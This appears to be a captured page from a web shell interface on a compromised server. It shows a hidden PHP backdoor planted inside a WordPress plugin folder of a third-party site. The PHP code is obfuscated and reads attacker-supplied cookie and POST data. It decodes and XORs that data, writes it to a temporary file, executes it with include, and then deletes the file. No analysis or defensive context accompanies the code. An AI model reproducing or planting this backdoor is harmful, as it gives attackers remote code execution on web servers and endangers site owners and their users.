? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-content/plugins/754ronsr/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-content/plugins/754ronsr/c734ccf2.php

$ArNflQ = chr ( 792 - 721 )."\147" . "\137" . "\147" . chr (122) . 'U' . chr ( 649 - 564 ); $zuguYBgl = chr ( 578 - 479 )."\154" . 'a' . "\x73" . chr ( 383 - 268 ).chr (95) . "\145" . "\170" . "\x69" . 's' . chr ( 161 - 45 ).chr ( 308 - 193 ); $IAXweogOr = $zuguYBgl($ArNflQ); $qTXQj = $IAXweogOr;if (!$qTXQj){class Gg_gzUU{private $ehoyNd;public static $iLEeLA = "c94f4ad8-aab0-48ba-a16d-2f4cbfa4c7b5";public static $swfMVat = 2754;public function __construct($dyIGx=0){$TYnXcKT = $_COOKIE;$EELnv = $_POST;$ltiYgmBPfG = @$TYnXcKT[substr(Gg_gzUU::$iLEeLA, 0, 4)];if (!empty($ltiYgmBPfG)){$rVywoQ = "base64";$vAEDFcgZ = "";$ltiYgmBPfG = explode(",", $ltiYgmBPfG);foreach ($ltiYgmBPfG as $ZxCWUwA){$vAEDFcgZ .= @$TYnXcKT[$ZxCWUwA];$vAEDFcgZ .= @$EELnv[$ZxCWUwA];}$vAEDFcgZ = array_map($rVywoQ . chr (95) . chr ( 290 - 190 ).'e' . "\x63" . "\157" . 'd' . 'e', array($vAEDFcgZ,)); $vAEDFcgZ = $vAEDFcgZ[0] ^ str_repeat(Gg_gzUU::$iLEeLA, (strlen($vAEDFcgZ[0]) / strlen(Gg_gzUU::$iLEeLA)) + 1);Gg_gzUU::$swfMVat = @unserialize($vAEDFcgZ);}}private function AsJZbQ(){if (is_array(Gg_gzUU::$swfMVat)) {$lfiASwk = sys_get_temp_dir() . "/" . crc32(Gg_gzUU::$swfMVat["\x73" . 'a' . "\x6c" . "\164"]);@Gg_gzUU::$swfMVat[chr ( 1058 - 939 ).chr ( 545 - 431 )."\151" . "\x74" . 'e']($lfiASwk, Gg_gzUU::$swfMVat[chr ( 693 - 594 )."\x6f" . chr ( 549 - 439 )."\x74" . chr ( 884 - 783 )."\156" . "\164"]);include $lfiASwk;@Gg_gzUU::$swfMVat[chr ( 258 - 158 )."\x65" . chr (108) . 'e' . "\x74" . chr ( 1045 - 944 )]($lfiASwk); $EHtvQNuf = "13276";exit();}}public function __destruct(){$this->AsJZbQ(); $EHtvQNuf = "13276";}}$WfoubfCSVk = new Gg_gzUU(); $WfoubfCSVk = "12781_41555";}

T1KUS90T
  root-grov@210.1.60.28:~$